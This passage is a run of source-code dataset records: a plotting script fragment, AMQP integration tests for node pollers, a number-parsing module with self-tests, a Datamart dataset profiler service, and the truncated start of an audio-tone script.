9)\n idxs = np.random.choice(len(test_dataset), size=4, replace=False)\n for i, idx in enumerate(idxs):\n sq_dists = np.sum((feats_embedded - feats_embedded[idx]) ** 2, axis=1)\n neighbors = np.argsort(sq_dists)[1:9]\n axs[i, 0].imshow(test_dataset[idx][0][0], cmap='gray')\n axs[i, 0].axis('off')\n for j in range(8):\n axs[i, j + 1].imshow(test_dataset[neighbors[j]][0][0], cmap='gray')\n axs[i, j + 1].axis('off')\n axs[0, 0].set_title('I_0')\n for j in range(1, 9):\n axs[0, j].set_title('I_' + str(j))\n plt.savefig('neighbors.png')\n plt.close()\n","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":5495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"460625903","text":"from config.amqp import *\nfrom config.settings import *\nfrom modules.amqp import Worker\nfrom modules.logger import Log\nfrom on_http import NodesApi as Nodes\nfrom on_http import PollersApi as Pollers\nfrom threading import Thread\nfrom datetime import datetime\nfrom proboscis.asserts import assert_equal\nfrom proboscis.asserts import assert_not_equal\nfrom proboscis.asserts import assert_false\nfrom proboscis.asserts import assert_raises\nfrom proboscis.asserts import assert_true\nfrom proboscis.asserts import assert_is_not_none\nfrom proboscis import SkipTest\nfrom proboscis import test\nfrom json import dumps,loads\n\nLOG = Log(__name__)\n\n@test(groups=['amqp.tests'])\nclass AMQPTests(object):\n\n def __init__(self):\n self.__client = config.api_client\n self.__threadTasks = []\n\n class ThreadTask(object):\n def __init__(self,worker,thread,id):\n self.id = id\n self.worker = worker\n self.thread = thread\n self.state = False\n\n def amqp_tasker_thread(self,worker,id):\n LOG.info('spawning AMQP task thread for id {0}'.format(id))\n worker.start()\n\n def amqp_tasker_loop(self):\n completion = 0\n while completion < len(self.__threadTasks):\n for t in self.__threadTasks:\n if t.state is False:\n LOG.info('shutting down worker thread for id {0}'.format(t.id))\n t.thread.join()\n completion += 1\n\n @test(groups=['amqp.tests.sel'],depends_on_groups=['check-obm'])\n def check_sel_task(self):\n \"\"\" Testing AMQP on.task.ipmi.sel.result \"\"\"\n Nodes().api1_1_nodes_get()\n nodes = loads(self.__client.last_response.data)\n self.__threadTasks = []\n for node in nodes:\n id = node.get('id')\n assert_not_equal(id,None)\n type = node.get('type')\n assert_not_equal(type,None)\n if type == 'compute':\n worker = Worker(queue=QUEUE_SEL_RESULT, callbacks=[self.handle_result])\n thread = Thread(target=self.amqp_tasker_thread,args=(worker,id,))\n thread.daemon = True\n self.__threadTasks.append(self.ThreadTask(worker,thread,id))\n for t in self.__threadTasks:\n t.thread.start()\n t.state = True\n self.amqp_tasker_loop()\n\n @test(groups=['amqp.tests.sdr'],depends_on_groups=['check-obm', 'amqp.tests.sel'])\n def check_sdr_task(self):\n \"\"\" Testing AMQP on.task.ipmi.sdr.result \"\"\"\n Nodes().api1_1_nodes_get()\n nodes = loads(self.__client.last_response.data)\n self.__threadTasks = []\n for node in nodes:\n id = node.get('id')\n assert_not_equal(id,None)\n type = node.get('type')\n assert_not_equal(type,None)\n if type == 'compute':\n worker = Worker(queue=QUEUE_SDR_RESULT, callbacks=[self.handle_result])\n thread = Thread(target=self.amqp_tasker_thread,args=(worker,id,))\n thread.daemon = True\n self.__threadTasks.append(self.ThreadTask(worker,thread,id))\n for t in self.__threadTasks:\n t.thread.start()\n t.state = True\n self.amqp_tasker_loop()\n\n @test(groups=['amqp.tests.chassis'],depends_on_groups=['check-obm', 'amqp.tests.sdr'])\n def check_chassis_task(self):\n \"\"\" Testing AMQP on.task.ipmi.chassis.result \"\"\"\n Nodes().api1_1_nodes_get()\n nodes = loads(self.__client.last_response.data)\n self.__threadTasks = []\n for node in nodes:\n id = node.get('id')\n assert_not_equal(id,None)\n type = node.get('type')\n assert_not_equal(type,None)\n if type == 'compute':\n worker = Worker(queue=QUEUE_CHASSIS_RESULT, callbacks=[self.handle_result])\n thread = Thread(target=self.amqp_tasker_thread,args=(worker,id,))\n thread.daemon = True\n self.__threadTasks.append(self.ThreadTask(worker,thread,id))\n for t in self.__threadTasks:\n t.thread.start()\n t.state = True\n self.amqp_tasker_loop()\n\n def handle_result(self,body,message):\n LOG.debug(body,json=True)\n assert_is_not_none(body)\n assert_is_not_none(message)\n id = body['value'].get('node')\n assert_not_equal(id,None)\n for t in self.__threadTasks:\n if t.id == id:\n workId = body['value'].get('workItemId')\n assert_not_equal(workId,None)\n Pollers().api1_1_pollers_identifier_get(workId)\n poller = loads(self.__client.last_response.data)\n config = poller.get('config')\n assert_not_equal(config,None)\n command = config.get('command')\n assert_not_equal(command,None)\n LOG.info('Received message (nodeId={0}, workId={1}, command={2})'.format(id,workId,command))\n message.ack()\n LOG.info('stopping AMQP worker for id {0}'.format(id))\n t.worker.stop()\n t.state = False\n\n","sub_path":"test/tests/amqp_tests.py","file_name":"amqp_tests.py","file_ext":"py","file_size_in_byte":5169,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"523901738","text":"'''\n$Id: number.py 1.24 2009/02/10 23:19:16 donp Exp $\n\nCopyright (c) 2009, Don Peterson\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without\nmodification, are permitted provided that the following conditions are\nmet:\n\n* Redistributions of source code must retain the above copyright\n notice, this list of conditions and the following disclaimer.\n* Redistributions in binary form must reproduce the above\n copyright notice, this list of conditions and the following\n disclaimer in the documentation and/or other materials provided\n with the distribution.\n* Neither the name of the nor the names of its\n contributors may be used to endorse or promote products derived\n from this software without specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n\"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\nLIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR\nA PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT\nOWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\nSPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT\nLIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\nDATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\nTHEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE\nOF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n'''\n\nimport re\nfrom mpmath import mpf, mpc, mpi, inf\nfrom rational import Rational\nfrom integer import Zn, isint\nfrom julian import Julian\nfrom string import strip\nfrom si import suffixes_ln\n\ntry: from pdb import xx\nexcept: pass\n\n# Number recognition regular expressions\ninteger = re.compile(\"^[+-]?\\d+$\")\n\ncre=r'''\n %s # Match at beginning\n ([+-])%s # Optional leading sign\n %s # Placeholder for imaginary unit\n (\\d+\\.\\d+|\\d+\\.?|\\.\\d+) # Required digits and opt. decimal point\n (e[+-]?\\d+)? # Optional exponent\n %s # Match at end\n'''\n# Pure imaginary, xi or ix\nI1 = cre % (\"^\", \"?\", \"\", \"i$\")\nI2 = cre % (\"^\", \"?\", \"i\", \"$\")\n\n# Reals\nR = cre % (\"^\", \"?\", \"\", \"$\")\n\n# True complex numbers: x+iy or x+yi\nC1 = (cre % (\"^\", \"?\", \"\", \"\")) + (cre % (\"\", \"\", \"\", \"[ij]$\"))\nC2 = (cre % (\"^\", \"?\", \"\", \"\")) + (cre % (\"\", \"\", \"[ij]\", \"$\"))\n\n# Degenerate complex numbers: 1-i, 3.7+i\nnum = r\"([+-]?)(\\d+\\.\\d+|\\d+\\.?|\\.\\d+)(e[+-]?\\d+)?\"\nC3 = r\"^%s([+-][ij])$\" % num\n\n# True complex numbers: (x,y)\nC4 = r\"^\\(%s(,)%s\\)$\" % (num, num)\ndel num\n\n# Regular expressions\nimag1 = re.compile(I1, re.X | re.I)\nimag2 = re.compile(I2, re.X | re.I)\nreal = re.compile(R, re.X | re.I)\ncomplex1 = re.compile(C1, re.X | re.I)\ncomplex2 = re.compile(C2, re.X | re.I)\ncomplex3 = re.compile(C3, re.X | re.I)\ncomplex4 = re.compile(C4, re.X | re.I)\n\n# Rationals: \"a/b\", and \"axb/c\" forms are allowed where a and b are\n# integers and x is one or more of the following characters: '+- '. \n# b and c are always positive; a may be positive or negative.\nRa = r'''\n ^ # Mixed fraction\n ([-+])? # Optional sign\n (\\d+) # Integer \n [-+ ]+ # Separation character\n (\\d+) # Numerator\n / # Fraction separator\n (\\d+) # Denominator\n $\n | # Or\n ^ # Canonical fraction\n ([-+]?\\d+) # Integer a with optional sign\n / # Fraction separator\n (\\d+) # Denominator\n $\n'''\nrational = re.compile(Ra, re.X | re.I)\n\nclass Number(object):\n '''Used to generate a number object from a string.\n '''\n\n # If the following class variable is nonzero, then integers are\n # being restricted to a said number of bits.\n bits = 0\n\n # If signed is True, then integer arithmetic is signed; otherwise,\n # arithmetic is unsigned.\n signed = True\n\n def __init__(self):\n pass\n\n def __call__(self, s):\n assert len(s) > 0\n suffix = 1\n if s != \"now\" and s != \"today\":\n if len(s) > 1 and s[:2] != \"0x\":\n if s[-1] in suffixes_ln:\n exponent = suffixes_ln[s[-1]]\n if exponent >= 0:\n suffix = Zn(10**exponent)\n else:\n suffix = mpf(\"1e\" + str(exponent))\n s = s[:-1]\n for func in (self.j, self.i, self.q, self.v, self.r, self.c):\n x = func(s)\n if x != None: \n if suffix == 1:\n return x\n if isint(x):\n if isint(suffix): return Zn(suffix*x)\n else: return suffix*mpf(int(x))\n elif isinstance(x, Rational):\n if isint(suffix): return Rational(suffix*x.n, x.d)\n else: return suffix*x.mpf()\n elif isinstance(x, mpf) or \\\n isinstance(x, mpc) or \\\n isinstance(x, mpi):\n if isint(suffix): return mpf(int(suffix))*x\n else: return suffix*x\n else:\n return None\n return None\n\n def j(self, s):\n '''Check to see if it's a Julian date/time form. We only allow\n two forms: 'dS[y[:...]]' where S is a string for the month or\n '.+:.+' (regexp syntax) where it contains a colon and means a \n time today. 'now' and 'today' are also allowed.\n '''\n if s == \"now\" or s == \"today\" or \":\" in s:\n return Julian(s)\n sl = s.lower()\n for month in Julian.month_names:\n if month.lower() in sl:\n return Julian(s)\n return None\n\n def i(self, s):\n # Handle special cases like 0x, 0o, and 0b\n try:\n value = 0\n match = False\n if len(s) > 2:\n if s[:2] == \"0x\":\n value = int(s[2:], 16)\n match = True\n elif s[:2] == \"0o\":\n value = int(s[2:], 8)\n match = True\n elif s[:2] == \"0b\":\n value = int(s[2:], 2)\n match = True\n if integer.match(s):\n return Zn(int(s))\n if match:\n return Zn(value)\n except ValueError:\n pass\n except Exception:\n raise\n return None\n\n def q(self, s):\n mo = rational.match(s)\n if mo:\n g = [i for i in mo.groups() if i]\n sign = \"\"\n if g[0] == \"+\":\n del g[0]\n elif g[0] == \"-\":\n sign = \"-\"\n del g[0]\n try:\n num = [int(i) for i in g]\n except:\n raise Exception(\"Bug: rational match on non-integer\")\n if not num:\n return None\n elif len(num) == 2:\n w, n, d = 0, num[0], num[1]\n elif len(num) == 3:\n w, n, d = num\n else:\n msg = \"Program bug\\nUnexpected number of matches on\\n\"\n msg += \"'%s'\" % s\n raise Exception(msg)\n n = int(sign + str(w*d + n))\n return Rational(n, d)\n else:\n return None\n\n def r(self, s):\n # Handle infinities\n if s == \"inf\": return inf\n if s == \"-inf\": return -inf\n # If the number begins with \"E\" or 'e', prepend a 1\n if s[0] == \"E\" or s[0] == \"e\":\n s = \"1\" + s\n mo = real.match(s)\n if mo:\n num = [i for i in mo.groups() if i]\n if not num:\n return None\n else:\n try:\n return mpf(''.join(num))\n except:\n return None\n else:\n return None\n\n def c(self, s):\n s = s.lower()\n s = s.replace(\"j\", \"i\")\n if \"i\" not in s and \"(\" not in s:\n return None\n if s == \"i\" or s == \"+i\":\n return mpc(0, 1)\n if s == \"-i\":\n return mpc(0, -1)\n mo = complex3.match(s)\n if mo:\n n = ''.join([i for i in mo.groups() if i])\n try:\n ending = n[-2:]\n if ending == \"+i\":\n return mpc(mpf(n[:-2]), 1)\n elif ending == \"-i\":\n return mpc(mpf(n[:-2]), -1)\n else:\n raise Exception(\"Program bug: unexpected complex number\")\n except:\n pass\n for expression in (imag1, imag2):\n mo = expression.match(s)\n if mo:\n num = [i for i in mo.groups() if i]\n if num:\n try:\n return mpc(0, mpf(''.join(num)))\n except:\n return None\n else:\n return None\n for expression in (complex1, complex2):\n mo = expression.match(s)\n if mo:\n try:\n g = mo.groups()\n r = mpf(''.join([i for i in g[:3] if i]))\n i = mpf(''.join([i for i in g[3:] if i]))\n return mpc(r, i)\n except:\n return None\n mo = complex4.match(s)\n if mo:\n try:\n s = \"\".join([i for i in mo.groups() if i])\n r, i = [mpf(i) for i in s.split(\",\")]\n return mpc(r, i)\n except:\n return None\n\n def v(self, s):\n '''Interval numbers: allowed forms are\n 1. 'a +- b'\n 2. 'a (b%)' % sign is optional\n 3. '[a, b]'\n In 1, a is the midpoint of the interval and b is the half-width.\n In 2, a is the midpoint of the interval and b is the half-width.\n In 3, the interval is indicated directly.\n '''\n e = ValueError(\"Improperly formed interval number '%s'\" %s)\n s = s.replace(\" \", \"\")\n if \"+-\" in s:\n n = [mpf(strip(i)) for i in s.split(\"+-\")]\n return mpi(n[0] - n[1], n[0] + n[1])\n elif \"(\" in s:\n if s[0] == \"(\": # Don't confuse with a complex number (x,y)\n return None\n if \")\" not in s:\n raise e\n s = s.replace(\")\", \"\")\n percent = False\n if \"%\" in s:\n if s[-1] != \"%\":\n raise e\n percent = True\n s = s.replace(\"%\", \"\")\n a, p = [mpf(strip(i)) for i in s.split(\"(\")]\n d = p\n if percent:\n d = a*p/mpf(100)\n return mpi(a - d, a + d)\n elif \",\" in s:\n if \"[\" not in s: raise e\n if \"]\" not in s: raise e\n s = s.replace(\"[\", \"\")\n s = s.replace(\"]\", \"\")\n n = [mpf(strip(i)) for i in s.split(\",\")]\n return mpi(n[0], n[1])\n else:\n return None\n\nif __name__ == \"__main__\":\n # Test cases\n nums = {\n # Integers\n Zn(0) : (\n \"0\", \"+0\", \"-0\", \"000\", \"+000\", \"-000\", \n ),\n Zn(1) : (\n \"1\", \"+1\", \"01\", \"+01\", \"001\", \"+001\", \n ),\n Zn(-1) : (\n \"-1\", \"-01\", \"-001\",\n ),\n Zn(124) : (\n \"124\", \"+124\", \"0124\", \"+0124\", \"000124\", \"+000124\",\n ),\n Zn(-123) : (\n \"-123\", \"-000123\",\n ),\n\n # Reals\n mpf(0) : (\n \"0.0\", \"+0.0\", \"-0.0\",\n \"000.000\", \"+000.000\", \"-000.000\",\n ),\n mpf(1) : (\n \"1.\", \"+1.\", \"1.0\", \"+1.0\", \n \"1.0e0\", \"+1.0e0\",\n \"1.0E0\", \"+1.0E0\",\n ),\n mpf(-2) : (\n \"-2.\", \"-2.0\", \"-2.0e0\", \"-2.0000E000\",\n ),\n mpf(\"-2.3\") : (\n \"-2.3\", \"-2.30\", \"-2.3000\", \"-2.3e0\", \"-2300e-3\", \"-0.0023e3\",\n \"-.23E1\",\n ),\n mpf(\"2.345e-7\") : (\n \"2.345e-7\", \"2345e-10\", \"0.00000002345E+1\", \"0.0000002345\",\n ),\n\n # Pure imaginaries\n mpc(0, 1) : (\n \"i\", \"+i\", \"1i\", \"+1i\", \"+i1\",\n \"1.i\", \"+1.i\", \"+i1.\",\n \"1.0i\", \"+1.0i\", \"+i1.0\",\n \"1.00i\", \"+1.00i\", \"+i1.00\",\n ),\n mpc(0, -1) : (\n \"-i\", \"-i\", \"-1i\", \"-i1\",\n \"-1.i\", \"-1.i\", \"-i1.\",\n \"-1.0i\", \"-1.0i\", \"-i1.0\",\n \"-1.00i\", \"-1.00i\", \"-i1.00\",\n ),\n mpc(0, 3) : (\n \"3i\", \"+3i\", \"3.i\", \"+3.i\", \"3.0i\", \"+3.0i\", \"3.0e0i\", \"+3.0e0i\",\n \"I3\", \"+I3\", \"I3.\", \"+I3.\", \"I3.0\", \"+I3.0\", \"I3.0e0\", \"+I3.0e0\",\n \"3.000i\", \"i3.000\", \"3.000E0i\", \"i3.000E0\",\n \"3.000e-0J\", \"J3.000e-0\", \"3.000e+0J\", \"J3.000e+0\",\n ),\n mpc(0, -8) : (\n \"-8i\", \"-8.i\", \"-8.0i\", \"-8.0e0i\",\n \"-j8\", \"-j8.\", \"-j8.0\", \"-j8.0E0\",\n ),\n mpc(0, mpf(\"-0.123\")) : (\n \"-.123i\", \"-.123j\", \"-0.123i\", \"-1.23e-1i\",\n ),\n\n # Complex numbers\n mpc(1, -1) : (\n \"1-1i\", \"1-1.i\", \"1.-1i\", \"1.-1.i\",\n \"1-j1\", \"1-j1.\", \"1.-j1\", \"1.-j1.\",\n \"1.00-1.00I\", \"1.00-I1.00\", \"1000e-3-100000e-5I\",\n \"1.00-J1.00\", \"1000E-3-J100000E-5\",\n ),\n mpc(1, 1) : (\n \"1+1i\", \"1+1.i\", \"1.+1i\", \"1.+1.i\",\n \"1+i\", \"1.0+i\", \"1.000+i\", \n ),\n mpc(\"4.9\", -1) : (\n \"4.9-1i\", \"4.9-1.i\", \"49e-1-1i\",\n \"4.9-i\", \"49e-1-i\",\n ),\n mpc(\"-7\", -1) : (\n \"-7-1i\", \"-7-1.i\", \"-70e-1-1i\",\n \"-7-i\", \"-70e-1-i\",\n ),\n mpc(mpf(\"11.549e-59\"), mpf(\"-8.31e89\")) : (\n \"11.549e-59-8.31e89I\", \"1.1549e-58-J831e87\",\n ),\n mpc(1, 2): (\n \"(1,2)\", \"(1.,2.)\", \"(1.0,2.0)\", \"(1.000,2.000)\",\n ),\n\n # Rational numbers\n Rational(3, 8) : (\n \"3/8\", \"6/16\", \"0 12/32\", \"0-15/40\", \"0+18/48\",\n ),\n Rational(-3, 7) : (\n \"-3/7\", \"-6/14\", \"-0 12/28\", \"-0-15/35\", \"-0+18/42\",\n ),\n Rational(3, -7) : (\n \"-3/7\", \"-6/14\", \"-0 12/28\", \"-0-15/35\", \"-0+18/42\",\n ),\n }\n # Because of a bug in mpi == and != tests, we have to test them\n # differently.\n mpi_tests = {\n # Interval numbers\n mpi(1, 3) : (\n \"[1, 3]\", \"[1.0, 3]\", \"[1, 3.0]\", \"[1.0, 3.0]\",\n \"[1,3]\", \"[1.0,3]\", \"[1,3.0]\", \"[1.0,3.0]\",\n \"[ 1, 3]\", \"[ 1.0,3]\", \"[ 1, 3.0]\",\n \"1.5 +- 0.5\", \"1.5+-0.5\", \"1.5+- 0.5\", \"1.5 +-0.5\", \n \"1.5 +- 0.5\", \"15e-1 +- 500e-3\", \n \"1.5(33.33333333333333333333%)\", \"1.5 (33.33333333333333333333%)\",\n \"1.5 ( 33.33333333333333333333%)\",\n \"1.5 ( 33.33333333333333333333 % )\",\n \"1.5( 33.33333333333333333333 % )\",\n \"1.5(33.33333333333333333333 % )\",\n ),\n }\n\n n = Number()\n status = 0\n for number in nums:\n for numstr in nums[number]:\n num = n(numstr)\n if num != number:\n print(\"Error for '%s'\" % numstr)\n print(\" Should be %s\" % str(number))\n print(\" Got %s\" % str(num))\n status += 1\n for number in mpi_tests:\n for numstr in mpi_tests[number]:\n num = n(numstr)\n if (num.a != number.a) and (num.b != number.b):\n print(\"Error for '%s'\" % numstr)\n print(\" Should be %s\" % str(number))\n print(\" Got %s\" % str(num))\n status += 1\n exit(status)\n","sub_path":"number.py","file_name":"number.py","file_ext":"py","file_size_in_byte":16005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"504263888","text":"import aio_pika\nimport asyncio\nimport contextlib\nimport csv\nfrom datetime import datetime\nimport elasticsearch\nimport itertools\nimport lazo_index_service\nimport logging\nimport os\nimport prometheus_client\nimport threading\nimport time\nimport xlrd\n\nfrom datamart_core.common import setup_logging, add_dataset_to_index, \\\n delete_dataset_from_index, log_future, json2msg, msg2json\nfrom datamart_core.materialize import get_dataset\nfrom datamart_materialize import DatasetTooBig\nfrom datamart_materialize.excel import xls_to_csv\nfrom datamart_materialize.pivot import pivot_table\nfrom datamart_materialize.tsv import tsv_to_csv\nfrom datamart_profiler import process_dataset, parse_date\n\n\nlogger = logging.getLogger(__name__)\n\n\nMAX_CONCURRENT_PROFILE = 1\nMAX_CONCURRENT_DOWNLOAD = 2\n\n\nPROM_DOWNLOADING = prometheus_client.Gauge(\n 'profile_downloading_count', \"Number of datasets currently downloading\",\n)\nPROM_PROFILING = prometheus_client.Gauge(\n 'profile_profiling_count', \"Number of datasets currently profiling\",\n)\n\n\n@contextlib.contextmanager\ndef prom_incremented(metric, amount=1):\n \"\"\"Context manager that increments a metric, then decrements it at the end.\n \"\"\"\n metric.inc(amount)\n try:\n yield\n finally:\n metric.dec(amount)\n\n\ndef materialize_and_process_dataset(\n dataset_id, metadata,\n lazo_client, nominatim,\n profile_semaphore,\n cache_invalid=False,\n):\n with contextlib.ExitStack() as stack:\n with prom_incremented(PROM_DOWNLOADING):\n dataset_path = stack.enter_context(\n get_dataset(metadata, dataset_id, cache_invalid=cache_invalid)\n )\n materialize = metadata.pop('materialize')\n\n # Check for Excel file format\n try:\n xlrd.open_workbook(dataset_path)\n except xlrd.XLRDError:\n pass\n else:\n logger.info(\"This is an Excel file\")\n materialize.setdefault('convert', []).append({'identifier': 'xls'})\n excel_temp_path = dataset_path + '.xls'\n os.rename(dataset_path, excel_temp_path)\n try:\n with open(dataset_path, 'w', newline='') as dst:\n xls_to_csv(excel_temp_path, dst)\n finally:\n os.remove(excel_temp_path)\n\n # Check for TSV file format\n with open(dataset_path, 'r') as fp:\n try:\n dialect = csv.Sniffer().sniff(fp.read(16384))\n except Exception as error: # csv.Error, UnicodeDecodeError\n logger.error(\"csv.Sniffer error: %s\", error)\n dialect = csv.get_dialect('excel')\n if getattr(dialect, 'delimiter', '') == '\\t':\n logger.info(\"This is a TSV file\")\n materialize.setdefault('convert', []).append({'identifier': 'tsv'})\n tsv_temp_path = dataset_path + '.tsv'\n os.rename(dataset_path, tsv_temp_path)\n try:\n with open(dataset_path, 'w', newline='') as dst:\n tsv_to_csv(tsv_temp_path, dst)\n finally:\n os.remove(tsv_temp_path)\n\n # Check for pivoted temporal table\n with open(dataset_path, 'r') as fp:\n reader = csv.reader(fp)\n try:\n columns = next(iter(reader))\n except StopIteration:\n columns = []\n if len(columns) >= 3:\n non_matches = [\n i for i, name in enumerate(columns)\n if parse_date(name) is None\n ]\n if len(non_matches) <= max(2.0, 0.20 * len(columns)):\n logger.info(\"Detected pivoted table\")\n materialize.setdefault('convert', []).append({\n 'identifier': 'pivot',\n 'except_columns': non_matches,\n })\n pivot_temp_path = dataset_path + '.pivot.csv'\n os.rename(dataset_path, pivot_temp_path)\n try:\n with open(dataset_path, 'w', newline='') as dst:\n pivot_table(pivot_temp_path, dst, non_matches)\n finally:\n os.remove(pivot_temp_path)\n\n # Profile\n with profile_semaphore:\n with prom_incremented(PROM_PROFILING):\n logger.info(\"Profiling dataset %r\", dataset_id)\n start = time.perf_counter()\n metadata = process_dataset(\n data=dataset_path,\n dataset_id=dataset_id,\n metadata=metadata,\n lazo_client=lazo_client,\n nominatim=nominatim,\n include_sample=True,\n coverage=True,\n plots=True,\n )\n logger.info(\n \"Profiling dataset %r took %.2fs\",\n dataset_id,\n time.perf_counter() - start,\n )\n\n metadata['materialize'] = materialize\n return metadata\n\n\nclass Profiler(object):\n def __init__(self):\n self.profile_semaphore = threading.Semaphore(MAX_CONCURRENT_PROFILE)\n self.es = elasticsearch.Elasticsearch(\n os.environ['ELASTICSEARCH_HOSTS'].split(',')\n )\n self.lazo_client = lazo_index_service.LazoIndexClient(\n host=os.environ['LAZO_SERVER_HOST'],\n port=int(os.environ['LAZO_SERVER_PORT'])\n )\n self.nominatim = os.environ['NOMINATIM_URL']\n self.channel = None\n\n self.loop = asyncio.get_event_loop()\n log_future(self.loop.create_task(self._run()), logger,\n should_never_exit=True)\n\n # Retry a few times, in case the Elasticsearch container is not yet up\n for i in itertools.count():\n try:\n if not self.es.indices.exists('datamart'):\n raise RuntimeError(\"'datamart' index does not exist\")\n except Exception:\n logger.warning(\"Can't connect to Elasticsearch, retrying...\")\n if i == 5:\n raise\n else:\n time.sleep(5)\n else:\n break\n\n async def _amqp_setup(self):\n # Setup the datasets exchange\n self.datasets_exchange = await self.channel.declare_exchange(\n 'datasets',\n aio_pika.ExchangeType.TOPIC)\n\n # Setup the profiling exchange\n self.profile_exchange = await self.channel.declare_exchange(\n 'profile',\n aio_pika.ExchangeType.FANOUT,\n )\n\n # Declare the profiling queue\n self.profile_queue = await self.channel.declare_queue(\n 'profile',\n arguments={'x-max-priority': 3},\n )\n await self.profile_queue.bind(self.profile_exchange)\n\n # Declare the failed queue\n self.failed_queue = await self.channel.declare_queue('failed_profile')\n\n async def _run(self):\n connection = await aio_pika.connect_robust(\n host=os.environ['AMQP_HOST'],\n port=int(os.environ['AMQP_PORT']),\n login=os.environ['AMQP_USER'],\n password=os.environ['AMQP_PASSWORD'],\n )\n self.channel = await connection.channel()\n await self.channel.set_qos(prefetch_count=MAX_CONCURRENT_DOWNLOAD)\n\n await self._amqp_setup()\n\n # Consume profiling queue\n async for message in self.profile_queue:\n obj = msg2json(message)\n dataset_id = obj['id']\n metadata = obj['metadata']\n materialize = metadata.get('materialize', {})\n\n logger.info(\"Processing dataset %r from %r\",\n dataset_id, materialize.get('identifier'))\n\n # Compare materialization info with stored to know whether cache\n # should be ignored\n try:\n hit = self.es.get('datamart', dataset_id)\n except elasticsearch.NotFoundError:\n cache_invalid = True\n else:\n cache_invalid = materialize != hit['_source']['materialize']\n\n future = self.loop.run_in_executor(\n None,\n materialize_and_process_dataset,\n dataset_id,\n metadata,\n self.lazo_client,\n self.nominatim,\n self.profile_semaphore,\n cache_invalid,\n )\n\n future.add_done_callback(\n self.process_dataset_callback(\n message, dataset_id,\n )\n )\n\n def process_dataset_callback(self, message, dataset_id):\n async def coro(future):\n metadata = msg2json(message)['metadata']\n try:\n try:\n metadata = future.result()\n if metadata['nb_rows'] == 0:\n logger.info(\n \"Dataset has no rows, not inserting into index: \" +\n \"%r\",\n dataset_id,\n )\n delete_dataset_from_index(\n self.es,\n dataset_id,\n # DO delete from Lazo\n self.lazo_client,\n )\n self.es.index(\n 'pending',\n dict(\n status='error',\n error=\"Dataset has no rows\",\n metadata=metadata,\n date=datetime.utcnow().isoformat(),\n source=metadata['source'],\n materialize=metadata['materialize'],\n ),\n id=dataset_id,\n )\n else:\n # Delete dataset if already exists in index\n delete_dataset_from_index(\n self.es,\n dataset_id,\n # Don't delete from Lazo, we inserted during profile\n None,\n )\n # Insert results in Elasticsearch\n body = dict(metadata,\n date=datetime.utcnow().isoformat() + 'Z',\n version=os.environ['DATAMART_VERSION'])\n add_dataset_to_index(self.es, dataset_id, body)\n\n # Publish to RabbitMQ\n await self.datasets_exchange.publish(\n json2msg(dict(body, id=dataset_id)),\n dataset_id,\n )\n\n # Remove from alternate index\n try:\n self.es.delete('pending', dataset_id)\n except elasticsearch.NotFoundError:\n pass\n except DatasetTooBig:\n # Materializer reached size limit\n logger.info(\"Dataset over size limit: %r\", dataset_id)\n message.ack()\n self.es.index(\n 'pending',\n dict(\n status='error',\n error=\"Dataset is too big\",\n metadata=metadata,\n date=datetime.utcnow().isoformat(),\n source=metadata['source'],\n materialize=metadata['materialize'],\n ),\n id=dataset_id,\n )\n except Exception as e:\n if isinstance(e, elasticsearch.RequestError):\n # This is a problem with our computed metadata\n logger.exception(\n \"Error inserting dataset %r in Elasticsearch\",\n dataset_id,\n )\n elif isinstance(e, elasticsearch.TransportError):\n # This is probably an issue with Elasticsearch\n # We'll log, nack and retry\n raise\n else:\n logger.exception(\"Error processing dataset %r\",\n dataset_id)\n # Move message to failed queue\n await self.channel.default_exchange.publish(\n aio_pika.Message(message.body),\n self.failed_queue.name,\n )\n # Ack anyway, retrying would probably fail again\n message.ack()\n\n self.es.index(\n 'pending',\n dict(\n status='error',\n error=\"Error profiling dataset\",\n metadata=metadata,\n date=datetime.utcnow().isoformat(),\n source=metadata['source'],\n materialize=metadata['materialize'],\n ),\n id=dataset_id,\n )\n else:\n message.ack()\n logger.info(\"Dataset %r processed successfully\",\n dataset_id)\n except Exception:\n message.nack()\n raise\n\n def callback(future):\n log_future(self.loop.create_task(coro(future)), logger)\n\n return callback\n\n\ndef main():\n setup_logging()\n prometheus_client.start_http_server(8000)\n logger.info(\"Startup: profiler %s\", os.environ['DATAMART_VERSION'])\n Profiler()\n asyncio.get_event_loop().run_forever()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"profiler/profiler.py","file_name":"profiler.py","file_ext":"py","file_size_in_byte":14025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"410401710","text":"import matplotlib.pyplot as plt\nimport numpy as np\nimport scipy.signal as sc\nimport simpleaudio as sa\n\n# Candida de veces que se repite la señal\nCANTIDAD=10\n\nf = 6000\nfs = 44100\nsec = 1 # Cuantos segundos se quiere reproducir\nB = 5000\nt = np.arange(0,sec,1/fs)\n\n#note = (2**15-1)*np.sin(2 * np.pi * B/2*(t/sec) *t) #sweept\n\n#steps=10\n#note=np.array([])\n#for i in range(steps):\n# note=np.append(note,[(2**15-1)*np.sin(2 * np.pi * B*(i/steps) *t)])\n\n#note = (2**15-1)*np.sin(2 * np.pi * B * t) # Señal senoidal a reproducir\n#note = (2**15-1)*sc.sawtooth(2 * np.pi * f * t) # Señal triangular a reproducir\nnote 